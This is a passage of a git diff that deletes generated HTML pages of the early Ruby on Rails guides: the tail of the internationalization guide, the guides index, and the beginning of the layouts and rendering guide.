-<div class="paragraph"><p>As you see in both cases the toplevel key is the locale. :foo is a namespace key and :bar is the key for the translation "baz".</p></div>
-<div class="paragraph"><p>Here is a "real" example from the ActiveSupport en.yml translations YAML file:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>en<span style="color: #990000">:</span>
- date<span style="color: #990000">:</span>
- formats<span style="color: #990000">:</span>
- default<span style="color: #990000">:</span> <span style="color: #FF0000">"%Y-%m-%d"</span>
- short<span style="color: #990000">:</span> <span style="color: #FF0000">"%b %d"</span>
- long<span style="color: #990000">:</span> <span style="color: #FF0000">"%B %d, %Y"</span></tt></pre></div></div>
-<div class="paragraph"><p>So, all of the following equivalent lookups will return the :short date format "%B %d":</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #FF0000">'date.formats.short'</span>
-I18n<span style="color: #990000">.</span>t <span style="color: #FF0000">'formats.short'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>date
-I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>short<span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'date.formats'</span>
-I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>short<span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>date<span style="color: #990000">,</span> <span style="color: #990000">:</span>formats<span style="color: #990000">]</span></tt></pre></div></div>
-<div class="paragraph"><p>Generally we recommend using YAML as a format for storing translations. There are cases though where you want to store Ruby lambdas as part of your locale data, e.g. for special date</p></div>
-<h3 id="_translations_for_activerecord_models">5.1. Translations for ActiveRecord models</h3>
-<div class="paragraph"><p>You can use the methods Model.human_name and Model.human_attribute_name(attribute) to transparently lookup translations for your model and attribute names.</p></div>
-<div class="paragraph"><p>For example when you add the following translations:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>en<span style="color: #990000">:</span>
- activerecord<span style="color: #990000">:</span>
- models<span style="color: #990000">:</span>
- user<span style="color: #990000">:</span> Dude
- attributes<span style="color: #990000">:</span>
- user<span style="color: #990000">:</span>
- login<span style="color: #990000">:</span> <span style="color: #FF0000">"Handle"</span>
- <span style="font-style: italic"><span style="color: #9A1900"># will translate User attribute "login" as "Handle"</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Then User.human_name will return "Dude" and User.human_attribute_name(:login) will return "Handle".</p></div>
-<h4 id="_error_message_scopes">5.1.1. Error message scopes</h4>
-<div class="paragraph"><p>ActiveRecord validation error messages can also be translated easily. ActiveRecord gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes and/or validations. It also transparently takes single table inheritance into account.</p></div>
-<div class="paragraph"><p>This gives you quite powerful means to flexibly adjust your messages to your application&#8217;s needs.</p></div>
-<div class="paragraph"><p>Consider a User model with a validates_presence_of validation for the name attribute like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> User <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_presence_of <span style="color: #990000">:</span>name
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The key for the error message in this case is :blank. ActiveRecord will lookup this key in the namespaces:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>messages<span style="color: #990000">.</span>models<span style="color: #990000">.[</span>model_name<span style="color: #990000">].</span>attributes<span style="color: #990000">.[</span>attribute_name<span style="color: #990000">]</span>
-activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>messages<span style="color: #990000">.</span>models<span style="color: #990000">.[</span>model_name<span style="color: #990000">]</span>
-activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>messages</tt></pre></div></div>
-<div class="paragraph"><p>Thus, in our example it will try the following keys in this order and return the first result:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>messages<span style="color: #990000">.</span>models<span style="color: #990000">.</span>user<span style="color: #990000">.</span>attributes<span style="color: #990000">.</span>name<span style="color: #990000">.</span>blank
-activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>messages<span style="color: #990000">.</span>models<span style="color: #990000">.</span>user<span style="color: #990000">.</span>blank
-activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>messages<span style="color: #990000">.</span>blank</tt></pre></div></div>
-<div class="paragraph"><p>When your models are additionally using inheritance then the messages are looked up for the inherited model class names are looked up.</p></div>
-<div class="paragraph"><p>For example, you might have an Admin model inheriting from User:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Admin <span style="color: #990000">&lt;</span> User
- validates_presence_of <span style="color: #990000">:</span>name
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Then ActiveRecord will look for messages in this order:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>models<span style="color: #990000">.</span>admin<span style="color: #990000">.</span>attributes<span style="color: #990000">.</span>title<span style="color: #990000">.</span>blank
-activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>models<span style="color: #990000">.</span>admin<span style="color: #990000">.</span>blank
-activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>models<span style="color: #990000">.</span>user<span style="color: #990000">.</span>attributes<span style="color: #990000">.</span>title<span style="color: #990000">.</span>blank
-activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>models<span style="color: #990000">.</span>user<span style="color: #990000">.</span>blank
-activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>messages<span style="color: #990000">.</span>blank</tt></pre></div></div>
-<div class="paragraph"><p>This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models or default scopes.</p></div>
-<h4 id="_error_message_interpolation">5.1.2. Error message interpolation</h4>
-<div class="paragraph"><p>The translated model name and translated attribute name are always available for interpolation.</p></div>
-<div class="paragraph"><p></p></div>
-<div class="paragraph"><p>count and/or value are available where applicable. Count can be used for pluralization if present:</p></div>
-<div class="tableblock">
-<table rules="all"
-width="100%"
-frame="border"
-cellspacing="0" cellpadding="4">
-<col width="25%" />
-<col width="25%" />
-<col width="25%" />
-<col width="25%" />
-<tbody valign="top">
-<tr>
-<td align="left"><p class="table">validation</p></td>
-<td align="left"><p class="table">with option</p></td>
-<td align="left"><p class="table">message</p></td>
-<td align="left"><p class="table">interpolation</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">validates_confirmation_of</p></td>
-<td align="left"><p class="table">-</p></td>
-<td align="left"><p class="table">:confirmation</p></td>
-<td align="left"><p class="table">-</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">validates_acceptance_of</p></td>
-<td align="left"><p class="table">-</p></td>
-<td align="left"><p class="table">:accepted</p></td>
-<td align="left"><p class="table">-</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">validates_presence_of</p></td>
-<td align="left"><p class="table">-</p></td>
-<td align="left"><p class="table">:blank</p></td>
-<td align="left"><p class="table">-</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">validates_length_of</p></td>
-<td align="left"><p class="table">:within, :in</p></td>
-<td align="left"><p class="table">:too_short</p></td>
-<td align="left"><p class="table">count</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">validates_length_of</p></td>
-<td align="left"><p class="table">:within, :in</p></td>
-<td align="left"><p class="table">:too_long</p></td>
-<td align="left"><p class="table">count</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">validates_length_of</p></td>
-<td align="left"><p class="table">:is</p></td>
-<td align="left"><p class="table">:wrong_length</p></td>
-<td align="left"><p class="table">count</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">validates_length_of</p></td>
-<td align="left"><p class="table">:minimum</p></td>
-<td align="left"><p class="table">:too_short</p></td>
-<td align="left"><p class="table">count</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">validates_length_of</p></td>
-<td align="left"><p class="table">:maximum</p></td>
-<td align="left"><p class="table">:too_long</p></td>
-<td align="left"><p class="table">count</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">validates_uniqueness_of</p></td>
-<td align="left"><p class="table">-</p></td>
-<td align="left"><p class="table">:taken</p></td>
-<td align="left"><p class="table">value</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">validates_format_of</p></td>
-<td align="left"><p class="table">-</p></td>
-<td align="left"><p class="table">:invalid</p></td>
-<td align="left"><p class="table">value</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">validates_inclusion_of</p></td>
-<td align="left"><p class="table">-</p></td>
-<td align="left"><p class="table">:inclusion</p></td>
-<td align="left"><p class="table">value</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">validates_exclusion_of</p></td>
-<td align="left"><p class="table">-</p></td>
-<td align="left"><p class="table">:exclusion</p></td>
-<td align="left"><p class="table">value</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">validates_associated</p></td>
-<td align="left"><p class="table">-</p></td>
-<td align="left"><p class="table">:invalid</p></td>
-<td align="left"><p class="table">value</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">validates_numericality_of</p></td>
-<td align="left"><p class="table">-</p></td>
-<td align="left"><p class="table">:not_a_number</p></td>
-<td align="left"><p class="table">value</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">validates_numericality_of</p></td>
-<td align="left"><p class="table">:odd</p></td>
-<td align="left"><p class="table">:odd</p></td>
-<td align="left"><p class="table">value</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table">validates_numericality_of</p></td>
-<td align="left"><p class="table">:even</p></td>
-<td align="left"><p class="table">:even</p></td>
-<td align="left"><p class="table">value</p></td>
-</tr>
-</tbody>
-</table>
-</div>
-<h4 id="_translations_for_the_activerecord_error_messages_for_helper">5.1.3. Translations for the ActiveRecord error_messages_for helper</h4>
-<div class="paragraph"><p>If you are using the ActiveRecord error_messages_for helper you will want to add translations for it.</p></div>
-<div class="paragraph"><p>Rails ships with the following translations:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>en<span style="color: #990000">:</span>
- activerecord<span style="color: #990000">:</span>
- errors<span style="color: #990000">:</span>
- template<span style="color: #990000">:</span>
- header<span style="color: #990000">:</span>
- one<span style="color: #990000">:</span> <span style="color: #FF0000">"1 error prohibited this {{model}} from being saved"</span>
- other<span style="color: #990000">:</span> <span style="color: #FF0000">"{{count}} errors prohibited this {{model}} from being saved"</span>
- body<span style="color: #990000">:</span> <span style="color: #FF0000">"There were problems with the following fields:"</span></tt></pre></div></div>
-<h3 id="_other_translations_and_localizations">5.2. Other translations and localizations</h3>
-<div class="paragraph"><p>Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers.</p></div>
-<div class="paragraph"><p>TODO list helpers and available keys</p></div>
-</div>
-<h2 id="_customize_your_i18n_setup">6. Customize your I18n setup</h2>
-<div class="sectionbody">
-<h3 id="_using_different_backends">6.1. Using different backends</h3>
-<div class="paragraph"><p>For several reasons the shipped Simple backend only does the "simplest thing that ever could work" <em>for Ruby on Rails</em> <a href="#3">[3]</a> ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.</p></div>
-<div class="paragraph"><p>That does not mean you&#8217;re stuck with these limitations though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize&#8217;s Static backend:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>backend <span style="color: #990000">=</span> Globalize<span style="color: #990000">::</span>Backend<span style="color: #990000">::</span>Static<span style="color: #990000">.</span>new</tt></pre></div></div>
-<h3 id="_using_different_exception_handlers">6.2. Using different exception handlers</h3>
-<div class="paragraph"><p>The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>MissingTranslationData <span style="font-style: italic"><span style="color: #9A1900"># no translation was found for the requested key</span></span>
-InvalidLocale <span style="font-style: italic"><span style="color: #9A1900"># the locale set to I18n.locale is invalid (e.g. nil)</span></span>
-InvalidPluralizationData <span style="font-style: italic"><span style="color: #9A1900"># a count option was passed but the translation data is not suitable for pluralization</span></span>
-MissingInterpolationArgument <span style="font-style: italic"><span style="color: #9A1900"># the translation expects an interpolation argument that has not been passed</span></span>
-ReservedInterpolationKey <span style="font-style: italic"><span style="color: #9A1900"># the translation contains a reserved interpolation variable name (i.e. one of: scope, default)</span></span>
-UnknownFileType <span style="font-style: italic"><span style="color: #9A1900"># the backend does not know how to handle a file type that was added to I18n.load_path</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The I18n API will catch all of these exceptions when they were thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for MissingTranslationData exceptions. When a MissingTranslationData exception has been caught it will return the exception’s error message string containing the missing key/scope.</p></div>
-<div class="paragraph"><p>The reason for this is that during development you&#8217;d usually want your views to still render even though a translation is missing.</p></div>
-<div class="paragraph"><p>In other contexts you might want to change this behaviour though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> I18n
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> just_raise_that_exception<span style="color: #990000">(*</span>args<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> args<span style="color: #990000">.</span>first
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-I18n<span style="color: #990000">.</span>exception_handler <span style="color: #990000">=</span> <span style="color: #990000">:</span>just_raise_that_exception</tt></pre></div></div>
-<div class="paragraph"><p>This would re-raise all caught exceptions including MissingTranslationData.</p></div>
-<div class="paragraph"><p>Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method #t (as well as #translate). When a MissingTranslationData exception occurs in this context the helper wraps the message into a span with the css class translation_missing.</p></div>
-<div class="paragraph"><p>To do so the helper forces I18n#translate to raise exceptions no matter what exception handler is defined by setting the :raise option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>foo<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-style: italic"><span style="color: #9A1900"># always re-raises exceptions from the backend</span></span></tt></pre></div></div>
-</div>
-<h2 id="_resources">7. Resources</h2>
-<div class="sectionbody">
-</div>
-<h2 id="_footnotes">8. Footnotes</h2>
-<div class="sectionbody">
-<div class="paragraph"><p><a id="1"></a>[1] Or, to quote <a href="http://en.wikipedia.org/wiki/Internationalization_and_localization">Wikipedia</a>: <em>"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."</em></p></div>
-<div class="paragraph"><p><a id="2"></a>[2] Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.</p></div>
-<div class="paragraph"><p><a id="3"></a>[3] One of these reasons is that we don&#8217;t want to any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.</p></div>
-</div>
-<h2 id="_changelog">9. Changelog</h2>
-<div class="sectionbody">
-<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213/tickets/23">Lighthouse ticket</a></p></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/index.html b/railties/doc/guides/html/index.html
deleted file mode 100644
index d7079c9393..0000000000
--- a/railties/doc/guides/html/index.html
+++ /dev/null
@@ -1,222 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Ruby on Rails Guides</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" class="notoc">
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container" class="notoc">
-
- <div id="content">
- <h1>Ruby on Rails Guides</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together. There are two different versions of the Guides site, and you should be sure to use the one that applies to your situation:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://guides.rubyonrails.org/">Current Release version</a> - based on Rails 2.2
-</p>
-</li>
-<li>
-<p>
-<a href="http://guides.rails.info/">Edge Rails version</a> - based on the Rails 2.3 branch
-</p>
-</li>
-</ul></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">This page is the result of ongoing <a href="http://hackfest.rubyonrails.org/guide">Rails Guides hackfest</a> and a work in progress.</td>
-</tr></table>
-</div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/caution.png" alt="Caution" />
-</td>
-<td class="content">Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket.</td>
-</tr></table>
-</div>
-<h2>Start Here</h2>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="getting_started_with_rails.html">Getting Started with Rails</a></div>
-<div class="paragraph"><p>Everything you need to know to install Rails and create your first application.</p></div>
-</div></div>
-<h2>Models</h2>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="migrations.html">Rails Database Migrations</a></div>
-<div class="paragraph"><p>This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="activerecord_validations_callbacks.html">Active Record Validations and Callbacks</a></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/caution.png" alt="Caution" />
-</td>
-<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/26">Lighthouse Ticket</a></td>
-</tr></table>
-</div>
-<div class="paragraph"><p>This guide covers how you can use Active Record validations and callbacks.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="association_basics.html">Active Record Associations</a></div>
-<div class="paragraph"><p>This guide covers all the associations provided by Active Record.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="active_record_querying.html">Active Record Query Interface</a></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/caution.png" alt="Caution" />
-</td>
-<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/16">Lighthouse Ticket</a></td>
-</tr></table>
-</div>
-<div class="paragraph"><p>This guide covers the database query interface provided by Active Record.</p></div>
-</div></div>
-<h2>Views</h2>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></div>
-<div class="paragraph"><p>This guide covers the basic layout features of Action Controller and Action View,
-including rendering and redirecting, using <tt>content_for</tt> blocks, and working
-with partials.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="form_helpers.html">Action View Form Helpers</a></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/caution.png" alt="Caution" />
-</td>
-<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/1">Lighthouse Ticket</a></td>
-</tr></table>
-</div>
-<div class="paragraph"><p>Guide to using built in Form helpers.</p></div>
-</div></div>
-<h2>Controllers</h2>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="routing_outside_in.html">Rails Routing from the Outside In</a></div>
-<div class="paragraph"><p>This guide covers the user-facing features of Rails routing. If you want to
-understand how to use routing in your own Rails applications, start here.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="actioncontroller_basics.html">Basics of Action Controller</a></div>
-<div class="paragraph"><p>This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="caching_with_rails.html">Rails Caching</a></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/caution.png" alt="Caution" />
-</td>
-<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/10">Lighthouse Ticket</a></td>
-</tr></table>
-</div>
-<div class="paragraph"><p>This guide covers the three types of caching that Rails provides by default.</p></div>
-</div></div>
-<h2>Digging Deeper</h2>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="testing_rails_applications.html">Testing Rails Applications</a></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/caution.png" alt="Caution" />
-</td>
-<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/8">Lighthouse Ticket</a></td>
-</tr></table>
-</div>
-<div class="paragraph"><p>This is a rather comprehensive guide to doing both unit and functional tests
-in Rails. It covers everything from &#8220;What is a test?&#8221; to the testing APIs.
-Enjoy.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="security.html">Securing Rails Applications</a></div>
-<div class="paragraph"><p>This guide describes common security problems in web applications and how to
-avoid them with Rails.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="debugging_rails_applications.html">Debugging Rails Applications</a></div>
-<div class="paragraph"><p>This guide describes how to debug Rails applications. It covers the different
-ways of achieving this and how to understand what is happening "behind the scenes"
-of your code.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="performance_testing.html">Performance Testing Rails Applications</a></div>
-<div class="paragraph"><p>This guide covers ways to benchmark and profile your Rails application.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="creating_plugins.html">The Basics of Creating Rails Plugins</a></div>
-<div class="paragraph"><p>This guide covers how to build a plugin to extend the functionality of Rails.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="i18n.html">The Rails Internationalization API</a></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/caution.png" alt="Caution" />
-</td>
-<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/23">Lighthouse ticket</a></td>
-</tr></table>
-</div>
-<div class="paragraph"><p>This guide introduces you to the basic concepts and features of the Rails I18n API and shows you how to localize your application.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="configuring.html">Configuring Rails Applications</a></div>
-<div class="paragraph"><p>This guide covers the basic configuration settings for a Rails application.</p></div>
-</div></div>
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="sidebar-title"><a href="command_line.html">Rails Command Line Tools and Rake tasks</a></div>
-<div class="paragraph"><p>This guide covers the command line tools and rake tasks provided by Rails.</p></div>
-</div></div>
-<div class="paragraph"><p>Authors who have contributed to complete guides are listed <a href="authors.html">here</a>.</p></div>
-<div class="paragraph"><p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">Creative Commons Attribution-Noncommercial-Share Alike 3.0 License</a></p></div>
-</div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/layouts_and_rendering.html b/railties/doc/guides/html/layouts_and_rendering.html
deleted file mode 100644
index 037714db78..0000000000
--- a/railties/doc/guides/html/layouts_and_rendering.html
+++ /dev/null
@@ -1,1278 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Layouts and Rendering in Rails</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_overview_how_the_pieces_fit_together">Overview: How the Pieces Fit Together</a>
- </li>
- <li>
- <a href="#_creating_responses">Creating Responses</a>
- <ul>
-
- <li><a href="#_rendering_by_default_convention_over_configuration_in_action">Rendering by Default: Convention Over Configuration in Action</a></li>
-
- <li><a href="#_using_tt_render_tt">Using <tt>render</tt></a></li>
-
- <li><a href="#_using_tt_redirect_to_tt">Using <tt>redirect_to</tt></a></li>
-
- <li><a href="#_using_tt_head_tt_to_build_header_only_responses">Using <tt>head</tt> To Build Header-Only Responses</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_structuring_layouts">Structuring Layouts</a>
- <ul>
-
- <li><a href="#_asset_tags">Asset Tags</a></li>
-
- <li><a href="#_understanding_tt_yield_tt">Understanding <tt>yield</tt></a></li>
-
- <li><a href="#_using_tt_content_for_tt">Using <tt>content_for</tt></a></li>
-
